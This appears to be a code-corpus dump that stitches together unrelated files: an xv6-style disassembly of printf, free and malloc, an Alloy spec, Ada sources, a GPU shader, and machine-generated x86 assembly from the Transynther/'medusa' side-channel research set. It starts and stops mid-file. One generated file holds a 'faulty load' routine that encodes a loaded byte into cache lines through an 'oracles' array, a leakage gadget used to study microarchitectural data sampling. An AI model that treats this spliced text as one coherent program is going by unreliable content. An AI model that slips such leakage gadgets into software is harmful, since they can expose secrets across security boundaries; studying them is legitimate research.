13f8: 8b 17 mov (%edi),%edx
13fa: e8 61 fe ff ff call 1260 <printint>
ap++;
13ff: 89 f8 mov %edi,%eax
1401: 83 c4 10 add $0x10,%esp
state = 0;
1404: 31 ff xor %edi,%edi
ap++;
1406: 83 c0 04 add $0x4,%eax
1409: 89 45 d4 mov %eax,-0x2c(%ebp)
140c: e9 37 ff ff ff jmp 1348 <printf+0x48>
1411: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
1418: 8b 45 d4 mov -0x2c(%ebp),%eax
141b: 8b 08 mov (%eax),%ecx
ap++;
141d: 83 c0 04 add $0x4,%eax
1420: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
1423: 85 c9 test %ecx,%ecx
1425: 0f 84 8e 00 00 00 je 14b9 <printf+0x1b9>
while(*s != 0){
142b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
142e: 31 ff xor %edi,%edi
s = (char*)*ap;
1430: 89 cb mov %ecx,%ebx
while(*s != 0){
1432: 84 c0 test %al,%al
1434: 0f 84 0e ff ff ff je 1348 <printf+0x48>
143a: 89 75 d0 mov %esi,-0x30(%ebp)
143d: 89 de mov %ebx,%esi
143f: 8b 5d 08 mov 0x8(%ebp),%ebx
1442: 8d 7d e3 lea -0x1d(%ebp),%edi
1445: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
1448: 83 ec 04 sub $0x4,%esp
s++;
144b: 83 c6 01 add $0x1,%esi
144e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
1451: 6a 01 push $0x1
1453: 57 push %edi
1454: 53 push %ebx
1455: e8 68 fd ff ff call 11c2 <write>
while(*s != 0){
145a: 0f b6 06 movzbl (%esi),%eax
145d: 83 c4 10 add $0x10,%esp
1460: 84 c0 test %al,%al
1462: 75 e4 jne 1448 <printf+0x148>
1464: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
1467: 31 ff xor %edi,%edi
1469: e9 da fe ff ff jmp 1348 <printf+0x48>
146e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
1470: 83 ec 0c sub $0xc,%esp
1473: b9 0a 00 00 00 mov $0xa,%ecx
1478: 6a 01 push $0x1
147a: e9 73 ff ff ff jmp 13f2 <printf+0xf2>
147f: 90 nop
write(fd, &c, 1);
1480: 83 ec 04 sub $0x4,%esp
1483: 88 5d e5 mov %bl,-0x1b(%ebp)
1486: 8d 45 e5 lea -0x1b(%ebp),%eax
1489: 6a 01 push $0x1
148b: e9 21 ff ff ff jmp 13b1 <printf+0xb1>
putc(fd, *ap);
1490: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
1493: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
1496: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
1498: 6a 01 push $0x1
ap++;
149a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
149d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
14a0: 8d 45 e4 lea -0x1c(%ebp),%eax
14a3: 50 push %eax
14a4: ff 75 08 pushl 0x8(%ebp)
14a7: e8 16 fd ff ff call 11c2 <write>
ap++;
14ac: 89 7d d4 mov %edi,-0x2c(%ebp)
14af: 83 c4 10 add $0x10,%esp
state = 0;
14b2: 31 ff xor %edi,%edi
14b4: e9 8f fe ff ff jmp 1348 <printf+0x48>
s = "(null)";
14b9: bb 87 1e 00 00 mov $0x1e87,%ebx
while(*s != 0){
14be: b8 28 00 00 00 mov $0x28,%eax
14c3: e9 72 ff ff ff jmp 143a <printf+0x13a>
14c8: 66 90 xchg %ax,%ax
14ca: 66 90 xchg %ax,%ax
14cc: 66 90 xchg %ax,%ax
14ce: 66 90 xchg %ax,%ax
000014d0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
14d0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
14d1: a1 00 23 00 00 mov 0x2300,%eax
{
14d6: 89 e5 mov %esp,%ebp
14d8: 57 push %edi
14d9: 56 push %esi
14da: 53 push %ebx
14db: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
14de: 8d 4b f8 lea -0x8(%ebx),%ecx
14e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
14e8: 39 c8 cmp %ecx,%eax
14ea: 8b 10 mov (%eax),%edx
14ec: 73 32 jae 1520 <free+0x50>
14ee: 39 d1 cmp %edx,%ecx
14f0: 72 04 jb 14f6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
14f2: 39 d0 cmp %edx,%eax
14f4: 72 32 jb 1528 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
14f6: 8b 73 fc mov -0x4(%ebx),%esi
14f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
14fc: 39 fa cmp %edi,%edx
14fe: 74 30 je 1530 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
1500: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
1503: 8b 50 04 mov 0x4(%eax),%edx
1506: 8d 34 d0 lea (%eax,%edx,8),%esi
1509: 39 f1 cmp %esi,%ecx
150b: 74 3a je 1547 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
150d: 89 08 mov %ecx,(%eax)
freep = p;
150f: a3 00 23 00 00 mov %eax,0x2300
}
1514: 5b pop %ebx
1515: 5e pop %esi
1516: 5f pop %edi
1517: 5d pop %ebp
1518: c3 ret
1519: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1520: 39 d0 cmp %edx,%eax
1522: 72 04 jb 1528 <free+0x58>
1524: 39 d1 cmp %edx,%ecx
1526: 72 ce jb 14f6 <free+0x26>
{
1528: 89 d0 mov %edx,%eax
152a: eb bc jmp 14e8 <free+0x18>
152c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
1530: 03 72 04 add 0x4(%edx),%esi
1533: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
1536: 8b 10 mov (%eax),%edx
1538: 8b 12 mov (%edx),%edx
153a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
153d: 8b 50 04 mov 0x4(%eax),%edx
1540: 8d 34 d0 lea (%eax,%edx,8),%esi
1543: 39 f1 cmp %esi,%ecx
1545: 75 c6 jne 150d <free+0x3d>
p->s.size += bp->s.size;
1547: 03 53 fc add -0x4(%ebx),%edx
freep = p;
154a: a3 00 23 00 00 mov %eax,0x2300
p->s.size += bp->s.size;
154f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1552: 8b 53 f8 mov -0x8(%ebx),%edx
1555: 89 10 mov %edx,(%eax)
}
1557: 5b pop %ebx
1558: 5e pop %esi
1559: 5f pop %edi
155a: 5d pop %ebp
155b: c3 ret
155c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00001560 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
1560: 55 push %ebp
1561: 89 e5 mov %esp,%ebp
1563: 57 push %edi
1564: 56 push %esi
1565: 53 push %ebx
1566: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1569: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
156c: 8b 15 00 23 00 00 mov 0x2300,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1572: 8d 78 07 lea 0x7(%eax),%edi
1575: c1 ef 03 shr $0x3,%edi
1578: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
157b: 85 d2 test %edx,%edx
157d: 0f 84 9d 00 00 00 je 1620 <malloc+0xc0>
1583: 8b 02 mov (%edx),%eax
1585: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
1588: 39 cf cmp %ecx,%edi
158a: 76 6c jbe 15f8 <malloc+0x98>
158c: 81 ff 00 10 00 00 cmp $0x1000,%edi
1592: bb 00 10 00 00 mov $0x1000,%ebx
1597: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
159a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
15a1: eb 0e jmp 15b1 <malloc+0x51>
15a3: 90 nop
15a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
15a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
15aa: 8b 48 04 mov 0x4(%eax),%ecx
15ad: 39 f9 cmp %edi,%ecx
15af: 73 47 jae 15f8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
15b1: 39 05 00 23 00 00 cmp %eax,0x2300
15b7: 89 c2 mov %eax,%edx
15b9: 75 ed jne 15a8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
15bb: 83 ec 0c sub $0xc,%esp
15be: 56 push %esi
15bf: e8 66 fc ff ff call 122a <sbrk>
if(p == (char*)-1)
15c4: 83 c4 10 add $0x10,%esp
15c7: 83 f8 ff cmp $0xffffffff,%eax
15ca: 74 1c je 15e8 <malloc+0x88>
hp->s.size = nu;
15cc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
15cf: 83 ec 0c sub $0xc,%esp
15d2: 83 c0 08 add $0x8,%eax
15d5: 50 push %eax
15d6: e8 f5 fe ff ff call 14d0 <free>
return freep;
15db: 8b 15 00 23 00 00 mov 0x2300,%edx
if((p = morecore(nunits)) == 0)
15e1: 83 c4 10 add $0x10,%esp
15e4: 85 d2 test %edx,%edx
15e6: 75 c0 jne 15a8 <malloc+0x48>
return 0;
}
}
15e8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
15eb: 31 c0 xor %eax,%eax
}
15ed: 5b pop %ebx
15ee: 5e pop %esi
15ef: 5f pop %edi
15f0: 5d pop %ebp
15f1: c3 ret
15f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
15f8: 39 cf cmp %ecx,%edi
15fa: 74 54 je 1650 <malloc+0xf0>
p->s.size -= nunits;
15fc: 29 f9 sub %edi,%ecx
15fe: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
1601: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
1604: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
1607: 89 15 00 23 00 00 mov %edx,0x2300
}
160d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
1610: 83 c0 08 add $0x8,%eax
}
1613: 5b pop %ebx
1614: 5e pop %esi
1615: 5f pop %edi
1616: 5d pop %ebp
1617: c3 ret
1618: 90 nop
1619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
1620: c7 05 00 23 00 00 04 movl $0x2304,0x2300
1627: 23 00 00
162a: c7 05 04 23 00 00 04 movl $0x2304,0x2304
1631: 23 00 00
base.s.size = 0;
1634: b8 04 23 00 00 mov $0x2304,%eax
1639: c7 05 08 23 00 00 00 movl $0x0,0x2308
1640: 00 00 00
1643: e9 44 ff ff ff jmp 158c <malloc+0x2c>
1648: 90 nop
1649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
1650: 8b 08 mov (%eax),%ecx
1652: 89 0a mov %ecx,(%edx)
1654: eb b1 jmp 1607 <malloc+0xa7>
|
random_ideas/alloy/pm2.als | asimihsan/asim_ihsan_io | 0 | 3765 | <gh_stars>0
sig Package {
name : one Name,
version : one Version,
requires : set Package,
}
sig Name {}
sig Version {}
run example {}
|
specification_scanner-scan_generic.adb | annexi-strayline/AURA | 13 | 15124 | ------------------------------------------------------------------------------
-- --
-- Ada User Repository Annex (AURA) --
-- ANNEXI-STRAYLINE Reference Implementation --
-- --
-- Command Line Interface --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
separate (Specification_Scanner)
procedure Scan_Generic
(Buffer : in out Ada_Lexical_Parser.Source_Buffer;
Unit_Tree: in out Declaration_Trees.Tree;
Root : in Declaration_Trees.Cursor)
is
use Ada_Lexical_Parser;
use Declaration_Trees;
package Toolkit is new Parse_Toolkit (Buffer); use Toolkit;
use type WWU.Unbounded_Wide_Wide_String;
begin
Unit_Tree(Root).Is_Generic := True;
-- Try to keep this as simple as possible, for now we really don't need
-- this information to generate the configuration extractor programs.
loop
Skip_To_Semicolon;
Next_Element;
exit when Category = Reserved_Word
and then Content in "package" | "procedure" | "function";
end loop;
if Content = "package" then
Scan_Specification (Buffer => Buffer,
Unit_Tree => Unit_Tree,
Root => Root);
elsif Content in "procedure" | "function" then
Scan_Subprogram (Buffer => Buffer,
Unit_Tree => Unit_Tree,
Subprogram_Node => Root);
end if;
end Scan_Generic;
|
source/opm/matreshka-internals-persistence_manager.ads | svn2github/matreshka | 24 | 6718 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Orthogonal Persistence Manager --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2009, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
private with Ada.Finalization;
private with Matreshka.Internals.Atomics.Counters;
with SQLite;
package Matreshka.Internals.Persistence_Manager is
-- Object's descriptor base
type Abstract_Descriptor is abstract tagged limited private;
-- Abstract persistant object descriptor.
type Descriptor_Access is access all Abstract_Descriptor'Class;
procedure Reference (Self : not null access Abstract_Descriptor'Class);
-- New reference to the object is creaded.
procedure Dereference (Self : not null access Abstract_Descriptor'Class);
-- Reference to the object is destroyed.
procedure Set_Modified (Self : not null access Abstract_Descriptor'Class);
-- Object is modified.
function Identifier (Self : not null access Abstract_Descriptor'Class)
return Positive;
-- Returns object's identifier. Assign new object identifier if object
-- doesn't have one.
function Is_New (Self : not null access Abstract_Descriptor'Class)
return Boolean;
-- XXX It must not be visible outside this package, but it requres to
-- use some data set abstraction for the Save operation.
procedure Load (Self : not null access Abstract_Descriptor) is abstract;
procedure Save (Self : not null access Abstract_Descriptor) is abstract;
-- Object's proxy base
type Abstract_Proxy is abstract tagged private;
function Descriptor (Self : Abstract_Proxy'Class)
return not null access Abstract_Descriptor'Class;
function Proxy (Self : not null access Abstract_Descriptor)
return Abstract_Proxy'Class
is abstract;
-- Load operation
function Load (Identifier : Positive) return not null Descriptor_Access;
-- Transactions support
procedure Start;
procedure Commit;
procedure Rollback;
-- Constructors
package Constructors is
procedure Initialize
(Self : in out Abstract_Proxy'Class;
Descriptor : not null access Abstract_Descriptor'Class);
-- Object's/descriptor's constructors
type Object_Constructor is
not null access function return not null Descriptor_Access;
procedure Register
(Class_Name : String;
Constructor : Object_Constructor);
function Create (Class_Name : String) return not null Descriptor_Access;
end Constructors;
Database : SQLite.SQLite_Database_Access;
private
type Abstract_Descriptor is abstract tagged limited record
Counter : aliased Matreshka.Internals.Atomics.Counters.Counter
:= Matreshka.Internals.Atomics.Counters.Zero;
-- Atomic reference counter;
Identifier : Natural := 0;
-- Internal object identifier. Zero means object not in database and
-- new object identifier must be assigned when object is stored into
-- database.
Is_New : Boolean := False;
-- True if a object not present in database.
Is_Modified : Boolean := False;
-- Modification flag, used for optimization.
end record;
type Abstract_Proxy is abstract new Ada.Finalization.Controlled with record
Descriptor : Descriptor_Access;
end record;
overriding procedure Adjust (Self : in out Abstract_Proxy);
overriding procedure Finalize (Self : in out Abstract_Proxy);
end Matreshka.Internals.Persistence_Manager;
|
src/modules/engines/gl_common/shader/rect_frag_s3c6410.asm | tizenorg/framework.uifw.evas | 1 | 167963 |
#-------------------------------------------------
# ORION - OpenGL ES 2.0 Shading Language Compiler
# SAMSUNG INDIA SOFTWARE OPERATIONS PVT. LTD.
# Compiler Version : v04.00.09
# Release Date : 19.01.2009
# FIMG VERSION : FIMGv1.5
# Optimizer Options : -O --nolodcalc
#-------------------------------------------------
# hand optimised - removed useless ops
ps_3_0
fimg_version 0x01020000
dcl_f4_col v0.x
label start
label main_
label main_end
mov_sat oColor.xyzw, v0.xyzw
ret
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1104.asm | ljhsiun2/medusa | 9 | 84264 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1104.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1562, %r12
nop
nop
add %r9, %r9
movb $0x61, (%r12)
nop
nop
nop
nop
nop
add $15897, %r11
lea addresses_WC_ht+0x12eda, %rsi
lea addresses_D_ht+0x16840, %rdi
nop
nop
nop
nop
and $25097, %r10
mov $64, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x144da, %rsi
lea addresses_normal_ht+0x12f6a, %rdi
nop
nop
nop
sub $50470, %r9
mov $81, %rcx
rep movsq
nop
xor %r11, %r11
lea addresses_A_ht+0x16da, %rsi
lea addresses_D_ht+0x1e6b2, %rdi
nop
nop
nop
nop
inc %r11
mov $10, %rcx
rep movsl
nop
and $60789, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x1681a, %rsi
lea addresses_WT+0x17c5e, %rdi
nop
nop
nop
nop
nop
xor %r14, %r14
mov $95, %rcx
rep movsb
nop
nop
nop
nop
nop
sub $5621, %rsi
// Store
mov $0x724d240000000bba, %r12
nop
inc %r13
mov $0x5152535455565758, %r14
movq %r14, %xmm1
vmovups %ymm1, (%r12)
nop
nop
nop
nop
sub %r13, %r13
// Faulty Load
lea addresses_WT+0x102da, %rsi
nop
nop
sub $18068, %r13
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %r14
lea oracles, %rsi
and $0xff, %r14
shlq $12, %r14
mov (%rsi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 3}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_355.asm | ljhsiun2/medusa | 9 | 18116 | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x20fb, %rsi
lea addresses_WT_ht+0x18ffb, %rdi
nop
nop
nop
nop
inc %rbp
mov $89, %rcx
rep movsq
nop
add %rbx, %rbx
lea addresses_D_ht+0x879b, %r15
nop
nop
nop
nop
nop
sub $25863, %r13
and $0xffffffffffffffc0, %r15
movaps (%r15), %xmm5
vpextrq $0, %xmm5, %rbp
nop
nop
cmp $15728, %rbx
lea addresses_WT_ht+0xeb7f, %rsi
lea addresses_UC_ht+0xd0fb, %rdi
nop
nop
nop
nop
nop
cmp %r14, %r14
mov $30, %rcx
rep movsb
nop
nop
cmp %rbp, %rbp
lea addresses_A_ht+0x79fb, %rsi
lea addresses_D_ht+0x1b72b, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $37, %rcx
rep movsq
nop
nop
nop
nop
add $16131, %rdi
lea addresses_UC_ht+0xee3e, %r14
nop
sub $55247, %rbp
movw $0x6162, (%r14)
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_D_ht+0x135fb, %r15
nop
and $9869, %rcx
movups (%r15), %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
and $59796, %rsi
lea addresses_normal_ht+0xabcf, %rsi
lea addresses_UC_ht+0x81fb, %rdi
sub %rbx, %rbx
mov $70, %rcx
rep movsl
nop
nop
nop
nop
nop
add $46041, %r13
lea addresses_D_ht+0xcf9b, %rbp
nop
nop
nop
nop
nop
cmp %rcx, %rcx
movw $0x6162, (%rbp)
nop
nop
nop
xor %rbx, %rbx
lea addresses_D_ht+0x3423, %rdi
add %rcx, %rcx
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
dec %rbx
lea addresses_WT_ht+0x1847b, %rbp
add $29028, %rsi
mov $0x6162636465666768, %r13
movq %r13, (%rbp)
nop
nop
nop
nop
xor $17839, %r13
lea addresses_normal_ht+0x1dbfb, %rsi
